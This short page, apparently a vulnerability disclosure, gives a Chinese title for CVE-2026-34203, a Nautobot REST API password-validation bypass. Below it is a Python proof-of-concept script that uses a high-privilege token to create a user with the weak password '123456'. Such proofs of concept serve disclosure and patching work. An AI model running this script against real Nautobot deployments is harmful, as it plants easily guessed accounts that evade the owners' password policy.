CVE-2026-34203 Nautobot REST API密码验证绕过漏洞

import requests # Target URL for user creation url = "https://<nautobot-host>/api/users/" # Headers with authentication (High privilege token required) headers = { "Authorization": "Token <HIGH_PRIVILEGE_API_TOKEN>", "Content-Type": "application/json", "Accept": "application/json" } # Payload containing a weak password that bypasses validation payload = { "username": "testuser", "password": "123456", "email": "[email protected]" } # Send POST request to create user response = requests.post(url, json=payload, headers=headers, verify=False) if response.status_code == 201: print("[+] Success: User created with weak password.") print(f"[+] Response: {response.json()}") else: print(f"[-] Failed: {response.status_code}") print(response.text)